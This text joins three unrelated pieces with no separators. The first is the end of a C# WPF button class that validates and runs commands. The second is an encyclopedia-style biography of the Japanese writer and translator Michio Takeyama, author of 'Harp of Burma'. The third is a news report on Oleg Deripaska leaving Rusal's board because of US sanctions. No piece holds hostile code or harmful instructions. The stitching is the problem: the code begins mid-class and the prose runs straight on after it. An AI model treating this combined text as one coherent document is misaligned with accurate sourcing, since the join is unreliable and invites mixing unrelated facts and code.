            Command = new DelegateCommand(CommandAction);
        }

        public bool IsValid { get; private set; }

        public bool IsValidatedBefore
        {
            get { return (bool)GetValue(IsValidatedBeforeProperty); }
            set { SetValue(IsValidatedBeforeProperty, value); }
        }

        public static readonly DependencyProperty IsValidatedBeforeProperty =
            DependencyProperty.Register("IsValidatedBefore", typeof(bool), typeof(ActivityDesignerButton), new PropertyMetadata(false));

        public bool IsClosedAfter
        {
            get { return (bool)GetValue(IsClosedAfterProperty); }
            set { SetValue(IsClosedAfterProperty, value); }
        }

        public static readonly DependencyProperty IsClosedAfterProperty =
            DependencyProperty.Register("IsClosedAfter", typeof(bool), typeof(ActivityDesignerButton), new PropertyMetadata(false));

        public ICommand CustomCommand
        {
            get { return (ICommand)GetValue(CustomCommandProperty); }
            set { SetValue(CustomCommandProperty, value); }
        }

        public static readonly DependencyProperty CustomCommandProperty =
            DependencyProperty.Register("CustomCommand", typeof(ICommand), typeof(ActivityDesignerButton), new PropertyMetadata(default(ICommand)));

        public ICommand PostCommand
        {
            get { return (ICommand)GetValue(PostCommandProperty); }
            set { SetValue(PostCommandProperty, value); }
        }

        public static readonly DependencyProperty PostCommandProperty =
            DependencyProperty.Register("PostCommand", typeof(ICommand), typeof(ActivityDesignerButton), new PropertyMetadata(default(ICommand)));

        void CommandAction(object o)
        {
            var canValidate = IsValidatedBefore;
            if (DataContext is ActivityDesignerViewModel activityDesignerViewModel)
            {
                canValidate &= !activityDesignerViewModel.IsMerge;
            }

            if (canValidate)
            {
                DoValidate();
            }

            if (IsValid)
            {
                CustomCommand?.Execute(null);

                if (IsClosedAfter)
                {
                    DoClose();
                }
            }

            PostCommand?.Execute(null);
        }

        void DoValidate()
        {
            if (DataContext is IValidator validator)
            {
                validator.Validate();
                IsValid = validator.IsValid;
            }
        }

        void DoClose()
        {
            if (DataContext is IClosable closable)
            {
                closable.IsClosed = true;
            }
        }
    }
}


Michio Takeyama

was a Japanese writer, literary critic and scholar of German literature, active in Shōwa period Japan.

Early life
Takeyama was born in Osaka, but moved frequently as his father, a bank employee, was often transferred. From 1907-1913, he lived in Gyeongseong (modern Seoul), Korea, then under Japanese rule. After graduating from Tokyo Imperial University's Department of German Literature, he was sent by Ministry of Education to Europe, where he studied for three years in Paris and Berlin.

Literary career
On returning home in 1932, Takeyama taught German language as a professor at First Higher School, and also translated works of German literature into Japanese. Among the works he translated were Goethe's An Anthology, Nietzsche's Thus Spoke Zarathustra and Out of My Life and Thought: An Autobiography by Albert Schweitzer.

However, despite his close connections with Germany, he was very leery of the Tripartite Alliance between Japan, Nazi Germany and Fascist Italy, and published an editorial called Doitsu, atarashiki chūsei?  ('Germany, the medieval age refurbished?'), in which he was critical of foreign totalitarianism.

In 1944, Takeyama relocated to Kamakura, Kanagawa prefecture after his home in Tokyo was destroyed in the air raids. He lived in Kamakura until his death in 1984. After World War II, Takeyama became famous for his novel, Biruma no Tategoto ("Harp of Burma"), which was serialized in Akatonbo ('The Red Dragonfly'), a literary magazine aimed primarily at children, over 1947-1948, before being published in book format in October 1948. An award-winning novel, it was subsequently translated into English under UNESCO sponsorship, and made into a well-known 1956 movie. In 1948, he wrote Scars, set in northern China, which Takeyama had visited in 1931 and 1938.

In 1950, during the height of the popularity of socialism in Japanese politics, Takeyama again spoke out, this time against Stalinism, and warned that totalitarianism can come from the left end of the political spectrum, as well as the right.

In 1951, Takeyama resigned his teaching position in favor of literary criticism, publishing Shōwa no Seishin-shi ("A Psychological History of the Shōwa period") and Ningen ni Tsuite ("On Human Beings"); however, throughout his career, Takeyama had a very diverse range of interests.

In 1959, Takeyama created a literary magazine, Jiyu ("Freedom"), together with fellow novelist Hirabayashi Taiko. He also started to write travelogues. His works Koto Henreki: Nara (Pilgrimage to the ancient capital, Nara), and Nihonjin to Bi (The Japanese and Beauty) combine his broad and deep understanding of the classic arts of Japan and his sensitivity to European literature. He also wrote Yoroppa no Tabi ("Travels in Europe") and Maboroshi to Shinjitsu: Watashi no Sobieto Kembun ("Fantasy and Truth: My Observations of the Soviet Union"), in which he analyzed Western civilization and his perception of the failure of the communist system in the Soviet Union.

Takeyama became a member of the Japan Art Academy in 1983, and in the same year he was awarded the Kikuchi Kan Prize for an anthology of eight of his most notable works. He died in 1984, and his grave is at the Kamakura Reien Cemetery.

See also
Japanese literature
List of Japanese authors

External links
Takeyama's grave at Kamakura Reien

Category:1899 births
Category:1984 deaths
Category:20th-century Japanese novelists
Category:Japanese translators
Category:Japanese literary critics
Category:Japanese non-fiction writers
Category:People from Osaka
Category:University of Tokyo alumni
Category:20th-century translators


Russian oligarch Oleg Deripaska has resigned from the board of aluminium producer Rusal to shield it from US sanctions against him.

Rusal - which produces about 7% of the world's aluminium- said his resignation was part of efforts to "protect the interests of the company".

In April, the US imposed sanctions on Mr Deripaska and seven other oligarchs.

The sanctions prevent US citizens from doing business with all companies controlled by Mr Deripaska.

Rusal's share price halved after the sanctions were imposed, and it closed off western credit lines for the company.

The sanctions blacklist was produced in April, with the Trump administration targeting individuals and companies that it said had profited from a Russian state engaged in "malign activities" around the world.

Reports say Mr Deripaska is now planning to reduce his stake in EN+, the energy group that controls Rusal, to a level at which the US Treasury would allow the businesses to be removed from the blacklist.

He has already resigned from the board of EN+.

Irish plant

Rusal's chief executive Alexandra Bouriko and seven directors resigned on Thursday as Rusal began its efforts to distance itself from the oligarch.

In April, analysts said it was likely that Rusal would have to be bailed out by the Russian government.

Rusal owns an alumina plant employing 450 people in Limerick, Ireland, which supplies 30% of the European alumina market.

The factory converts bauxite into alumina, which can be smelted into aluminium in factories.

Trade unions told the Irish Times in April they were concerned about how the US sanctions could affect the local economy in Limerick.